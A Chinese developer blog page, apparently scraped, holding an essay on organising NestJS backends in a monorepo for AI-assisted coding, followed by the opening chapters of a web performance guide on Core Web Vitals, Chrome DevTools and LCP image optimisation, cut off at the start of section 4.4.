我以前在多仓库里改过一个 shared type,心里会一直挂着还有没有哪个仓库没 bump;现在在同一个 workspace 里,至少引用关系摊开在同一套工具链底下,TypeScript 或单元测试常常会比人肉更早喊疼——哪里还在用旧字段,哪里页面还在按老形状解构,grep 一下也有谱。

再比如后端改了接口返回字段,前端哪些 hooks、哪些组件真正吃到这一次响应,不必全靠记忆里上次好像聊过。这不是什么玄学体验,就是改动触发的影响范围更容易被看见、被追责到同一次合并请求里。

要做 AI 相关的增量也同理:Embedding、RAG、异步任务到底落在 libs/ai 还是单独 apps/worker,一开始就需要个说得过去的落点,不然半年后全是 import 魔法和临时脚本。Monorepo 不提供正确答案,但它逼你把这一坨归谁管迟早说清楚。

在这套习惯里待久了,工作状态会从我在维护好几个小项目悄悄换成我在推进同一个系统。不是口号,是你真的少了很多切仓库、对版本、猜依赖的上下文切换。

单仓也救不了后端胡写

所有代码塞一个仓库,只解决找得到文件,不解决你在 apps/api 里照样把 controller、service、库表访问、杂七杂八工具揉一团。AI 一次改五个文件,耦合只会涨得更快。

我后来还是上了 Nest,图的是入口、业务、横切几件事在目录上有固定叫法,新人进来知道往哪翻,补丁也能长得差不多。它不算最轻,我就看半年以后加模块还痛不痛。

Nest 那套烦人的分层

第一次学 Nest,很多人都会嫌它重:Module、Controller、Service、Guard、Pipe、Interceptor,条条框框比 Express、Fastify 裸奔多出一截,脚手架一念心里先咯噔一下。

但我后来承认,那些让我觉得烦的概念,多半正是复杂之后会回来的质问——HTTP 入口到底挂在哪儿,业务逻辑能不能别再黏在路由文件里,鉴权和校验是不是每次都重写一遍,异常最后统一长成什么样,跨模块的能力能不能复用而不是复制粘贴。你可以在项目很小的时候装作没看见,等体积上来,它们会以技术债的形式敲门。

Nest 对我有用的地方,就是它催你把那些事摊开:Controller 薄一点,Service 扛事,DTO 把进出的形状说清楚,GuardPipeInterceptor 各管一截横切逻辑。写得丑归丑,至少在一条路上。

后端也不可能接口跑亮就结案,需求和权限还来。框架不写业务,只少几次从口头上重新约分层。

装饰器看多了,反而不容易乱窜

我以前当装饰器和 DI 是口味问题,现在要带着助手一起看代码,utils.ts 堆一切最头疼。Nest 那点样板至少是固定格式:@Controller 像关口,@Injectable() 多半进构造函数,Moduleimportsproviders 能看出依赖往哪边走。错误还会犯,多数是接错一层,不至于每个文件一种新的脾气。

构造函数里写字段比一层层 ../../../../ 好跟,对人类和编辑器都一样。

我不再纠结算不算魔法,只在乎新来的、审稿的、还有自动补全,是不是在同一个习惯里读这套目录。

生成越快,烂摊子越容易铺开

听上去怪,能力强了本应少管。我这边反正是反过来的,一次多出好几个文件,结构松的话脏东西也一起铺开。同样一个模型,在规矩紧的 Nest + Monorepo 里多半是补边角,在老脚本堆里经常是 import 散了、校验抄三遍、servicecontroller 又掰扯不清。

选型我就问两件事,多文件改完会不会散,下个补丁你能不能猜到哪一层动。Nest 不是唯一答案,只是我默认懒得再赌。

至于 Express、Fastify 裸着写,我见过太多靠自觉最后靠不住。轻量栈写小服务爽快,HonoElysia 我都用,业务一长我还是想有一层大家都认的摆放。AdonisFoalTS 也行,模版和社区我这儿常碰到的是 Nest。

前后端接缝那档子事

语法、SQL、状态码啃得动,烦的是两半各搞各的目录、README、环境变量,改需求前先在心里对一遍口头合同,明明一个东西却干出两份工的感觉。

Nest + Monorepo 不能砍掉后端工作量,只是把缝抹窄一点。

同一个 workspace 改 API 和页面,共享类型和同一条 linttsconfig 脚本,少扯等你发包我先对齐版本的皮。以前在多个仓库里的流程,很多变成同一仓库里自己 refactor。

前端写了多年 TS,后端再随便 any 心就裂着。契约放在 libs/types 或用生成出来的 SDK 锁住一层,漂移少一桩是一桩。

包管理、CI、分支照旧两套角色,但至少不用每次从零切换脑回路。熟了以后,很难再忍受接口栏两头吵。

若以 Next.js App Router 或类似前端为主力,只是把 Nest 当成好好写业务和善后数据的那一半,这一套目录语言其实不难对齐。路由负责入口像 pageservice 像抽出去的 server libpipeinterceptor 像中间件层。端到端类型上,有人喜欢 tRPCzod 推断加共享 router,有人喜欢 OpenAPI 生成 client。任选一条你能长期维护的主线,把契约锁在 libs/types 或生成的 SDK 里,AI 在前端敲 mutationfetch 时少一半凭空造字段。本地开发里,turbo(或等价物)跑 dev,改 shared 类型后两端热更新的节奏,也常和 AI 快速试错一小步合上拍。部署侧很多平台能对 monorepoapp 建制品,我不再想维护两份各写各的环境变量叙事。

审稿比生成更费工夫

现在大家爱讲几秒出一个功能。我自己的账本里,真正决定是否划算的,常常是后面的半小时到一个小时:目录有没有乱跑,边界有没有偷偷改写,类型和数据是否仍对齐,联动测试要不要补。如果生成省下打字时间,却成倍加到梳理结构上,账就对不上了。

Nest + Monorepo 做的很大一部分省事,是把一大批低级争议前置掉——共享字段在哪儿声明,模块职责默认怎样划,接口改了哪些地方按理应当红光报错。于是评审补丁时我更常在盯业务:权限有没有漏网的路径,异常场景会不会把脏数据写进去,性能热点是不是被忽视了,需求语义到底有没有偏差。

我现在的习惯能多懒就多懒,先跑测试和类型检查,再读业务。让 AI 顺手起一版 VitestJeste2e 骨架并不贵,红线测试挂了就先迭代 prompt。绿了再谈边界条件。@Injectable() 的好处是 mock provider 也相对直来直去,审 diff 的人会轻松一点。

以前看 AI 的补丁,像是在考古这东西为何出现在此;现在更多像是在核对这块业务说得圆不圆。这不是神话 AI,只是把本该机械的对齐成本压低了一层。

我没打算一锅炖成巨石

Monorepo 听上去像要把所有东西糊在一起,Nest 又像老派人做的三层后端。我自己的用法其实很土,源码和好改的契约放在一起,发布照样可以按 app 拆开。

  • apps/web 托管前端
  • apps/api 托管主 HTTP 服务
  • apps/worker 托管队列或异步消费者
  • libs/types 承载共享契约
  • libs/ai 承载模型调用、RAG、prompt 组装之类
  • libs/authlibs/common 分摊认证与通用工具

仓库可以统一规范,制品依然可以按 app 构建发布;你可以先把复杂度关在清晰的包里,而不是一开始假装自己永远只需要一个 server.ts。这在 2026 格外常见——队列、异步生成任务、检索、后台配置、审计日志、多租户开关,后来都会陆续冒出来。

CI 里只对改动的 appturbo run test --filter=...@...(或等价过滤)之类,也早已是常规操作。共享代码动了,顺带跑会消费它的那几个 app,而不是每次全矩阵。托管侧不少平台认得 monorepo 根目录,apps/web 走静态或边缘,apps/api 单独开服务。源码和契约仍在一处捏着,生命周期和扩容却可以拆开看,不必心理上先投降成巨石。

Nest 自带 microservices、传输层那一套,真要把 auth 或大活拆出去,也还是在同一套路子里长枝,不用再拍脑袋起一套新目录癖。

我更在意的是:这些东西加进来的时候,是顺着现有的 libs/apps 生长,还是被迫堆出一层新的临时目录。前者不一定优雅,但至少有机会保持可读;后者常常意味着下一次 AI 生成又会发明一种新秩序。

人一多,文件夹比嘴上规矩管用

一个人单挑项目的时候,坏习惯还能靠记忆兜底;两三个人一起用 AI,风格漂移的速度会快得离谱。某人习惯函数式拼接,某人偏爱大类;有人把逻辑黏在 controller,有人把所有东西都塞进 util;几周下来,目录看起来像百家饭拼盘。

Nest + Monorepo 对团队的价值,不在于消灭分歧,而在于把大量本该口头重复的规矩,换成打开仓库就能看见的骨架——新功能默认落在哪个 app,共享代码朝哪个 lib 收敛,鉴权和 DTO 的习惯写法是什么。AI 这时更像在同一套轨道上补齐缺口,而不是每人拉着模型朝不同方向发明范式。

新人上手也会轻松一点:不必先听完三场口头约定才能下手改第一段代码,结构本身就带着大部分的别这么写。这当然不完美,但比纯粹依赖自律省心。

仓库根上挂一份短短的项目说明(例如 AGENTS.md.cursorrules),往往比喊一百句我们风格是这样管用。仓库本身有条理,助手多半把你的效率往上抬。仓库本来就碎,它也会把那种碎法批量复制出去。条目宁可写得具体一点,也别只剩口号。

下面是一段示意,路径和工具名按你们真实栈改即可:

  • 新功能落在 apps/api/src/<domain>/,按 Nest Module 拆分领域,别把所有业务都摊进同一个大目录。
  • 共享类型与契约收口到 libs/types。DTO 一律配 class-validator,并在引导程序里全局启用 ValidationPipe
  • 鉴权走统一的 Guard(或团队约定的同一套切面),不要在每个 Controller 里各写一版 if
  • 跨包只引用对外公开的边界。优先用包名或 workspace: 协议对齐版本。禁止用一连串 ../../../ 掏进别的 apps/* 内部实现。

Claude Code、Cursor 之类读这类说明时会有点用,再配合仓库里实打实的 Nest 目录,跑偏会少一些。

总结

工具换了几轮,差的大头还是仓库难不难翻。多仓切开以后,光看当前窗口很容易蒙,import、字段名、契约各飘各的。拢进一个 workspace,找和改都短一截,TypeScript 报错和测试红条也常比人肉早。

Monorepo 只管东西在一锅里,治不好后端胡写。我上 Nest,图每层有个约定俗成的叫法,新人也好,编辑器补全也好,少走一点冤枉路。

写那几屏幕往往不费多少钟,时间都耗在审稿、对上类型、补测试。目录利落些,才能多在业务和坑上花功夫。

以后要挂队列、worker,鉴权再想拆出去,也愿意顺着现成的包长枝,不想再养一套谁也不知道的新规矩。

我平常就这么默认:Monorepo 先合上上下文,Nest 把后端层压住,剩下的靠习惯和 CI。写得多漂亮不敢说,只希望一群人加机器一起改的时候,烂得慢一点。

Web 性能优化完全指南

全网最全面的web性能优化详解

文中用到的工具方法性能工具方法库

免费的面试合集 - cookguo.github.io/learn/brows… 整理不易,给个免费的star就行了,兄弟们。

目录

  • 第一章:为什么性能优化很重要
  • 第二章:Web 性能指标全景
  • 第三章:Chrome DevTools 性能分析工具实战
  • 第四章:LCP 优化深度指南
  • 第五章:INP 优化深度指南
  • 第六章:CLS 优化深度指南
  • 第七章:TTFB 与网络优化
  • 第八章:代码层面的通用优化
  • 第九章:综合实战——完整性能排查流程
  • 第十章:性能监控与持续改进

第一章:为什么性能优化很重要

1.1 用数据说话:性能与业务的直接关联

很多初学者会问:页面慢一点,用户忍一忍不就好了吗?事实并非如此。性能问题直接影响用户留存和业务收入,这不是假设,而是有大量真实数据支撑的结论。

根据 2025 年的行业数据:

  • 性能优化不达标可能导致 8% 到 35% 的转化率、排名和收入损失
  • Google 的研究显示,页面加载时间从 1s 增加到 3s,跳出率增加 32%;增加到 5s,跳出率增加 90%
  • Pinterest 将感知等待时间减少 40%,搜索引擎流量和注册量增加了 15%
  • BBC 发现每增加一秒的加载时间,额外损失 10% 的用户

对于 Web3 钱包等金融类应用,用户的容忍度更低。当用户在进行交易操作时,一个卡顿的交互体验不仅影响用户留存,更会直接影响用户对产品安全性的信任感。

1.2 搜索引擎排名的硬性要求

2021 年,Google 正式将 Core Web Vitals(核心网页指标)纳入搜索排名算法。这意味着:

  • 如果你的页面 LCP 超过 4 秒,搜索排名会受到明显的负面影响
  • Core Web Vitals 包括 LCP(最大内容绘制)、INP(与下一次绘制的交互)、CLS(累积布局偏移)
  • 目前全球只有 48% 的移动页面和 56% 的桌面页面通过全部三项 Core Web Vitals

这一数据意味着,做好性能优化本身就是竞争优势。

1.3 用户体验的心理学

人类对时间的感知并不是线性的:

  • 0-100ms:用户感觉是"即时"的,操作如丝般顺滑
  • 100-300ms:用户感觉是"流畅"的,可以接受
  • 300-1000ms:用户感觉有"延迟",开始不耐烦
  • 1000ms 以上:用户的注意力开始转移,心流被打断
  • 10s 以上:用户往往直接放弃

因此,性能目标不仅仅是"能用",而是要达到让用户感觉"快"的心理阈值。

1.4 前端性能的三个维度

理解性能优化,需要从三个维度思考:

  1. 加载性能:页面从开始加载到用户能看到内容需要多长时间(LCP、FCP、TTFB)
  2. 交互性能:用户操作页面时的响应速度(INP、FID)
  3. 视觉稳定性:页面内容是否会在加载过程中发生意外移动(CLS)

这三个维度互相独立,需要分别进行诊断和优化。


第二章:Web 性能指标全景

2.1 Core Web Vitals:最重要的三个指标

Core Web Vitals 是 Google 定义的三个核心用户体验指标,是性能优化的重中之重。

LCP(Largest Contentful Paint,最大内容绘制)

定义:从页面开始加载到视口中最大的图片或文本块完成渲染的时间。

阈值标准

  • 良好:< 2.5 秒
  • 需改进:2.5 秒 ~ 4 秒
  • 差:> 4 秒

哪些元素会被计为 LCP 元素?

  • <img> 元素
  • <image> SVG 内的元素
  • <video> 元素(使用海报图像时)
  • 通过 url() 函数加载了背景图片的元素
  • 包含文本节点或其他内联文本元素子级的块级元素

需要特别注意的是,浏览器会排除"无意义"的内容,例如透明度为 0 的元素、尺寸为 0 的元素等,不会将其计为 LCP 候选元素。

INP(Interaction to Next Paint,与下一次绘制的交互)

定义:衡量用户与页面的每次离散交互(点击、键盘按键、触摸)从交互发生到下一帧绘制的延迟时间。INP 取的是页面整个生命周期内所有交互延迟的最大值(排除一些异常值)。

INP 的三个阶段

  1. Input Delay(输入延迟) :从用户操作到事件处理程序开始执行的时间,受主线程上正在执行的长任务影响
  2. Processing Time(处理时间) :事件处理程序本身的执行时间
  3. Presentation Delay(呈现延迟) :从事件处理完成到浏览器绘制下一帧的时间,包括样式计算、布局、绘制

阈值标准

  • 良好:< 200 毫秒
  • 需改进:200 ~ 500 毫秒
  • 差:> 500 毫秒

注意:INP 于 2024 年 3 月正式替代 FID(First Input Delay,首次输入延迟)成为 Core Web Vitals 的一部分。INP 比 FID 更严格,因为它衡量的是整个页面生命周期内的交互响应,而不仅仅是首次交互。

CLS(Cumulative Layout Shift,累积布局偏移)

定义:衡量页面在加载过程中元素发生意外移动的程度。当一个可见元素从一帧到下一帧改变位置时,就会发生布局偏移。

计算方式

布局偏移分数 = 影响分数 × 距离分数
影响分数 = 受影响的视口比例
距离分数 = 元素移动的最大距离 / 视口高度

阈值标准

  • 良好:< 0.1
  • 需改进:0.1 ~ 0.25
  • 差:> 0.25

2.2 其他重要性能指标

FCP(First Contentful Paint,首次内容绘制)

定义:浏览器第一次渲染任何文本、图像、非白色 canvas 或 SVG 的时间。

阈值:良好 < 1.8 秒

FCP 是用户感知到"页面开始加载"的时间点,是 LCP 的前置指标。如果 FCP 就很慢,LCP 一定不会快。

TTFB(Time to First Byte,首字节时间)

定义:从浏览器发出 HTTP 请求到接收到第一个字节响应的时间。

阈值:良好 < 200 毫秒

TTFB 是所有加载指标的基础,它反映的是服务器响应速度和网络延迟。如果 TTFB 很高,无论前端如何优化,LCP 都很难达标。

TTI(Time to Interactive,可交互时间)

定义:页面从加载开始到能够可靠地响应用户输入所需的时间。

TTI 要求满足:

  1. 页面显示了有用内容(FCP 之后)
  2. 大多数可见元素的事件处理程序已注册
  3. 页面在 50ms 内响应用户交互

TBT(Total Blocking Time,总阻塞时间)

定义:FCP 和 TTI 之间所有长任务(执行时间超过 50ms 的任务)的阻塞时间之和。一个长任务的阻塞时间 = 任务时长 - 50ms。

阈值:良好 < 200 毫秒

TBT 是衡量 JavaScript 执行对主线程占用程度的关键指标。在真实案例中,我们曾发现一个页面的 TBT 高达 69,747ms,有 506 个长任务,最长单个任务达 4,771ms。这种情况下,页面几乎完全无法交互。

2.3 指标之间的关联关系

网络请求开始
    │
    ▼
TTFB(服务器响应速度)
    │
    ▼
FCP(首次内容出现)
    │
    ├──► LCP(最大内容出现)← 加载性能核心
    │
    ├──► TTI(页面可交互)
    │         │
    │         ▼
    │       TBT(阻塞时间)← JS 执行质量
    │
    └──► INP(交互响应速度)← 交互性能核心

    CLS(布局稳定性)─── 贯穿整个加载过程

理解这个关系图对于排查性能问题至关重要:如果 TTFB 就慢,要从服务器和网络层面解决;如果 FCP 慢但 TTFB 正常,要看 CSS 和关键资源阻塞;如果 LCP 慢,要看最大元素的渲染和加载;如果 INP 差,要看 JavaScript 长任务。


第三章:Chrome DevTools 性能分析工具实战

3.1 工具概览

Chrome DevTools 提供了多个用于性能分析的面板,每个面板有不同的侧重点:

面板 用途 适合分析
Performance 录制运行时性能 长任务、帧率、CPU 占用
Lighthouse 综合性能审计 所有 Core Web Vitals
Network 网络请求分析 资源加载、TTFB、优先级
Memory 内存分析 内存泄漏、堆快照
Coverage 代码覆盖率 未使用的 JS/CSS

3.2 Lighthouse 面板实战

Lighthouse 是最适合初学者入手的性能分析工具,它能一键给出综合评分和改进建议。

使用步骤

  1. 打开 Chrome DevTools(F12 或右键 → 检查)
  2. 切换到 Lighthouse 标签页
  3. 选择要分析的类别(勾选 Performance
  4. 选择设备类型(推荐先选 Mobile 模拟移动端,因为移动端更严格)
  5. 点击 Analyze page load 按钮
  6. 等待约 30 秒,查看报告

📸 Lighthouse 面板配置界面(设备类型、分析类别、清除缓存选项):

面板上方可以选择:Mode(Navigation / Timespan / Snapshot)、Device(Mobile / Desktop)、Categories(Performance 必须勾选)。建议勾选 Clear storage 模拟新用户首次访问。

读懂 Lighthouse 报告

Lighthouse 会给出 0-100 的综合评分,并列出 Metrics 和 Opportunities 两部分:

  • Metrics 部分:显示各项核心指标的具体数值和评级(绿色良好、橙色需改进、红色差)
  • Opportunities 部分:列出具体的优化建议,每条建议都会估算优化后能节省的时间
  • Diagnostics 部分:列出可能影响性能的问题,例如"避免过大的 DOM 节点"

重要提示:Lighthouse 的测试结果会受到本地网络状况、CPU 性能等因素影响。建议:

  • 在隐身模式下运行,避免浏览器扩展干扰
  • 多次运行取平均值
  • 关闭其他占用资源的程序

3.3 Performance 面板深度使用

Performance 面板是最强大也最复杂的性能分析工具,它能录制页面运行时的每一帧,让你看到 JavaScript 执行、样式计算、布局绘制的完整时间线。

录制性能分析

  1. 打开 Performance 面板
  2. 点击左上角的 录制按钮(圆圈图标) 开始录制
  3. 在页面上执行你想分析的操作(如点击按钮、滚动页面)
  4. 点击 停止 按钮
  5. 等待分析完成,查看时间线

📸 录制控制按钮位置(左上角圆形录制键,右下角也有一个快捷键):

读懂 Performance 面板

Performance 面板分为几个区域,从上到下依次是:

① 概览区域(Overview)

  • 顶部的彩色条带展示 FPS(帧率)、CPU 占用、网络请求的整体情况
  • 绿色区域表示帧率正常(60fps),红色区域表示帧率下降
  • CPU 区域颜色越深表示 CPU 越繁忙:黄色是 JavaScript,紫色是渲染,绿色是绘制

📸 Overview 概览区域(上方 CPU/NET 条带 + 下方时间线选区):

拖动下方的灰色选区可以放大特定时间段,方便精细分析。

② 主线程区域(Main)

  • 这是最关键的区域,展示主线程上发生的所有活动
  • 每个彩色块代表一个任务,高度表示任务的调用深度
  • 长任务(Long Task)会被标记为红色三角形 ← 这是你需要重点关注的地方
  • 点击任何一个色块,可以在底部看到该任务的详细信息

📸 Main 主线程区域(每个色块是一个任务,底部是 Summary 详情):

点击任意色块后,底部 Summary 标签页 会显示该任务的耗时分解(Scripting / Rendering / Painting)。

③ 识别长任务(最重要)

在 Main 区域,找到顶部有 红色三角形 的任务块,这些就是超过 50ms 的长任务。展开这个任务块,可以看到:

  • 哪个函数占用了最多时间
  • 调用栈的完整链路
  • 每个函数的自身时间(Self Time)和总时间(Total Time)

📸 Long Task 标记(红色三角形 + 超出 50ms 部分用红色斜线标注):

如何读这个图:任务块顶部出现红色三角旗标,任务超出 50ms 的部分会用红色斜线填充。任务越宽表示执行时间越长,越高表示调用层级越深。

④ 火焰图(Flame Chart)——找到最耗时函数

点击长任务块并放大后,可以看到火焰图。火焰图是从上到下的函数调用栈:最顶层是入口函数,往下每一层是被调用的子函数。

📸 火焰图详情(点击 click 事件后可看到完整调用链):

技巧:找到"宽度最大"且"位于底层"的色块,那就是最耗时的叶子函数(Self Time 最高的函数),优先优化它。

⑤ 性能时间点标记(FCP / LCP / DCL / Load)

时间线上会有几条垂直的彩色线,对应关键时间点:

📸 关键时间点标记线(FCP 绿线、LCP 绿线、DCL 蓝线、Load 红线):

  • FCP(绿色) :第一块内容出现的时间
  • LCP(绿色,更靠后) :最大内容出现的时间
  • DCL(蓝色) :HTML 解析完成
  • Load(红色) :所有资源加载完成

实际案例:在我们的内部性能分析中,发现某页面存在以下问题:

  • Long Tasks 总数:506 个
  • TBT:69,747ms
  • 最长 Long Task:4,771ms
  • querySelectorAll 是最大瓶颈(合计 4,176ms)
  • Web3 加密库占 CPU 42.3%
  • DOM/Native API 占 CPU 29.5%
  • React DOM 占 CPU 13.8%

从这个数据可以得出结论:需要优化 DOM 查询(将 querySelectorAll 结果缓存),并考虑将加密库运算移入 Web Worker。

3.4 Chrome DevTools 2025 新特性

Live Metrics 实时指标面板

在 Performance 面板中,Chrome 现在提供了 Live Metrics 功能,可以在你正常使用页面的同时,实时显示 LCP、INP、CLS 的当前数值。

使用方法:

  1. 打开 Performance 面板
  2. 找到 Live Metrics 区域(在面板右侧)
  3. 正常操作页面,观察指标变化
  4. 当某个指标变红时,说明触发了一次不良的交互或渲染

📸 Live Metrics 实时面板(左侧本地实测值 + 右侧 CrUX 字段真实用户数据):

面板分两列:本地(Local) 是你当前浏览器实测值,字段数据(Field) 是来自 CrUX 的真实用户数据。悬停指标数值可以展开该指标的各阶段细分(如 LCP 的 TTFB / Load Delay / Load Time / Render Delay)。

这个功能特别适合快速定位是哪个操作导致了 INP 变差。

INP 交互日志(Interactions Track)

录制结束后,Performance 面板中有一条 Interactions 轨道,记录了所有被计入 INP 的用户交互:

📸 Interactions 轨道(每次交互显示 Input Delay + Processing + Presentation 三段时间条):

点击某条交互记录,可以展开看三个阶段的耗时:

  • Input Delay(灰色) :点击到事件处理开始,越短越好
  • Processing(黄色) :事件处理函数执行时间,这里优化 → 用 taskSplitPoint/asyncExecuteTask
  • Presentation(紫色) :渲染到下一帧,这里优化 → 减少重排/重绘

AI 驱动的性能 Insights

Chrome DevTools 现在内置了 AI 性能分析功能,在 Performance 录制结束后,可以点击 Insights 面板,AI 会自动识别关键瓶颈并给出优化建议。

校准节流(Calibrated Throttling)

在 Performance 面板的节流设置中,Chrome 现在支持根据你当前机器的性能自动校准节流比例,使模拟的移动端性能更准确。

3.5 Network 面板分析资源加载

找到 LCP 图片的加载时间

  1. 打开 Network 面板
  2. 刷新页面
  3. 在请求列表中找到你认为的 LCP 图片
  4. 点击该请求,查看 Timing 标签页

Timing 标签页会显示:

  • Queued at:请求在哪个时间点被排队
  • Stalled:等待发送的时间(通常是连接复用等待)
  • Waiting (TTFB) :首字节时间
  • Content Download:下载时间

📸 Network 面板选中某个请求后的 Timing 详情

如何判断问题所在

  • Waiting (TTFB) 时间长 → 服务器响应慢,考虑 CDN 或服务器优化
  • Content Download 时间长 → 文件太大,考虑压缩或格式转换(WebP)
  • Stalled 时间长 → 连接数限制导致排队,考虑 HTTP/2 或 preconnect

查看资源加载优先级

在 Network 面板的请求列表中,右键任意列标题,勾选 Priority 列,可以看到每个资源的加载优先级。

LCP 图片的优先级应该是 Highest,如果显示为 LowMedium,就需要使用 fetchpriority="high" 属性来提升它。

💡 快速定位 LCP 图片的技巧:在 Network 面板按 Img 类型过滤,然后看哪张图片的开始时间最晚且体积最大,大概率就是 LCP 元素。

3.6 Coverage 面板:找到未使用的代码

  1. 打开 Coverage 面板(可以通过 Ctrl+Shift+P 搜索 "Coverage" 打开)
  2. 点击录制按钮
  3. 刷新页面并操作
  4. 停止录制,查看结果

Coverage 面板会列出每个 JS/CSS 文件,并显示有多少百分比的代码在本次操作中被执行。如果一个文件 90% 的代码都是红色(未使用),说明代码分割可以带来很大的性能提升。


3.7 一图总结:Chrome DevTools 性能分析全流程

第一步:快速体检               第二步:精细录制              第三步:定位问题
┌──────────────────┐       ┌──────────────────┐       ┌──────────────────┐
│   Lighthouse     │       │  Performance 面板 │       │  Network 面板    │
│                  │       │                  │       │                  │
│  一键生成评分    │──→    │  录制交互操作    │──→    │  找 LCP 图片     │
│  找到 LCP/INP/   │       │  找 Long Task    │       │  查 Priority 列  │
│  CLS 的问题点    │       │  看火焰图        │       │  看 Timing 详情  │
│                  │       │  看 Interactions │       │                  │
└──────────────────┘       └──────────────────┘       └──────────────────┘
     ↓                            ↓                           ↓
  确认哪个指标差            找到是哪个函数慢            找到资源加载瓶颈
     ↓                            ↓                           ↓
  对应第四/五/六章           用 taskSplitPoint 等         加 fetchpriority
  优化方案                   工具优化                     或 preload 优化

第四章:LCP 优化深度指南

4.1 LCP 的计算原理

理解 LCP 的计算方式,是优化的基础。

LCP 的候选元素在整个页面加载过程中是动态更新的。浏览器每渲染一帧,都会检查是否有比当前候选元素更大的元素出现。最终的 LCP 值是页面上出现的最大可见元素完成渲染的时间点。

LCP 计算会排除的元素

  • 透明度为 0(opacity: 0)的元素
  • 尺寸为 0x0 的元素
  • visibility: hidden 的元素
  • 覆盖整个视口的元素(被认为是背景)

这个排除规则非常关键,后面的优化技巧会用到它。

4.2 诊断 LCP 慢的原因

LCP 慢通常有以下几种原因:

  1. 服务器响应慢(TTFB 高) :在第一个字节到达之前,什么都无法开始渲染
  2. 渲染阻塞资源<head> 中的同步 CSS 和 JS 会阻塞渲染
  3. 资源加载慢:LCP 图片文件太大,或加载优先级低
  4. 客户端渲染延迟:LCP 元素由 JavaScript 动态生成,需要等待 JS 执行完成

诊断步骤

打开 Lighthouse,在 LCP 的详情中,Chrome 会告诉你 LCP 的四个阶段各占了多少时间:

  • TTFB:服务器响应
  • Load Delay:从 TTFB 到开始加载 LCP 资源
  • Load Time:LCP 资源的加载时间
  • Render Delay:从资源加载完成到实际渲染

针对不同的瓶颈阶段,采取不同的优化策略。

4.3 LCP 图片优化技术

技术一:使用 fetchpriority="high" 提升图片优先级

这是最简单有效的优化手段之一。浏览器默认会给 LCP 图片分配较低的加载优先级,通过 fetchpriority 属性可以显式提升:

<!-- 优化前:浏览器可能将图片优先级设为 Low -->
<img src="hero-image.webp" alt="主图" />

<!-- 优化后:显式告知浏览器这是高优先级资源 -->
<img src="hero-image.webp" alt="主图" fetchpriority="high" />

注意fetchpriority="high" 只应该用于真正的 LCP 元素,不要滥用,否则会适得其反。

技术二:使用 <link rel="preload"> 预加载

对于通过 CSS background-image 或 JavaScript 动态加载的图片,浏览器无法在解析 HTML 时就发现并预加载,需要通过 preload 主动告知浏览器:

<head>
  <!-- 预加载 LCP 图片,让浏览器尽早开始加载 -->
  <link rel="preload" as="image" href="hero-image.webp" />

  <!-- 对于 srcset 图片,需要指定 imagesrcset -->
  <link
    rel="preload"
    as="image"
    href="hero-image.webp"
    imagesrcset="hero-small.webp 400w, hero-large.webp 800w"
    imagesizes="100vw"
  />
</head>

在构建系统中,可以通过配置自动注入 preload 标签:

{
  "links": [{
    "url": "hero-image.webp",
    "attrs": {
      "rel": "preload",
      "as": "image"
    }
  }]
}

技术三:使用 WebP 格式减小图片体积

WebP 相比 PNG 和 JPEG,在相同视觉质量下通常能减小 25%-50% 的文件体积:

<!-- 使用 picture 元素,兼容不支持 WebP 的浏览器 -->
<picture>
  <source srcset="hero.webp" type="image/webp" />
  <source srcset="hero.jpg" type="image/jpeg" />
  <img src="hero.jpg" alt="主图" fetchpriority="high" />
</picture>

实际数据:一张 500KB 的 PNG 图片,转换为 WebP 后通常在 100-200KB,加载时间可以缩短 60%-80%。

技术四:GIF 首帧优化

对于大尺寸 GIF 动图,可以先加载轻量级的首帧图片(通常是静态 PNG),待 GIF 加载完成后再切换:

// hooks/useGifImg.ts
import { useState, useMemo } from 'react';
import { useAsyncEffect } from 'ahooks';

/**
 * 加载指定图片,返回 Promise
 */
const loadImg = ({ src }: { src: string }): Promise<boolean> => {
  return new Promise((resolve) => {
    const img = new Image();
    img.onload = () => resolve(true);
    img.onerror = () => resolve(false);
    img.src = src;
  });
};

/**
 * GIF 图片优化 Hook
 * 策略:先展示首帧静态图(thumbnailUrl),GIF 加载完成后切换
 */
export const useGifImg = ({
  src,
  thumbnailUrl,
}: {
  src: string;
  thumbnailUrl?: string;
}) => {
  // 初始展示首帧(如果有的话),否则直接展示原图
  const [displayUrl, setDisplayUrl] = useState(thumbnailUrl || src);
  const isGif = useMemo(() => src.toLowerCase().endsWith('.gif'), [src]);

  useAsyncEffect(async () => {
    if (isGif && thumbnailUrl) {
      // 异步加载 GIF,加载完成后切换
      const isSuccess = await loadImg({ src });
      if (isSuccess) {
        setDisplayUrl(src);
      }
    }
  }, [src]);

  return { isGif, displayUrl };
};

// 使用示例
function HeroImage({ gifSrc, thumbnailSrc }) {
  const { displayUrl } = useGifImg({ src: gifSrc, thumbnailUrl: thumbnailSrc });

  return (
    <img
      src={displayUrl}
      alt="动态主图"
      fetchpriority="high"
    />
  );
}

技术五:背景图 Base64 占位优化

当 LCP 元素是一张需要通过网络加载的背景图时,可以用一张极小的 base64 内联图片作为占位符。这样 LCP 元素在页面 HTML 加载完成时就已经"出现"了,LCP 时间会大幅提前:

// 一个很小的纯色 base64 图片(约 100 字节)
// 颜色可以和实际背景图的主色调匹配,减少视觉突变
const DEFAULT_BG_BASE64 = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==';

/**
 * 带 LCP 优化的背景图组件
 * 策略:
 * 1. 立即展示 base64 小图(作为 LCP 元素上报)
 * 2. 实际背景图加载完成后覆盖
 */
const OptimizedBgImage = ({ src, alt, children }) => {
  return (
    <div style={{ position: 'relative', overflow: 'hidden' }}>
      {/* LCP 占位图:base64,立即渲染,作为 LCP 元素 */}
      <img
        src={DEFAULT_BG_BASE64}
        alt={alt}
        style={{
          position: 'absolute',
          top: 0,
          left: 0,
          width: '100%',
          height: '100%',
          zIndex: 0,
          // 注意:不能设置 opacity: 0,否则会被 LCP 排除
        }}
      />
      {/* 实际背景图:通过 CSS 加载,不影响 LCP 计算 */}
      <div
        style={{
          position: 'absolute',
          top: 0,
          left: 0,
          width: '100%',
          height: '100%',
          backgroundImage: `url(${src})`,
          backgroundSize: 'cover',
          zIndex: 1,
        }}
      />
      {/* 内容层 */}
      <div style={{ position: 'relative', zIndex: 2 }}>
        {children}
      </div>
    </div>
  );
};

4.4 LCP 优化的终极技巧:主动"指定" LCP 元素

这是一个来自实战的进阶技巧。

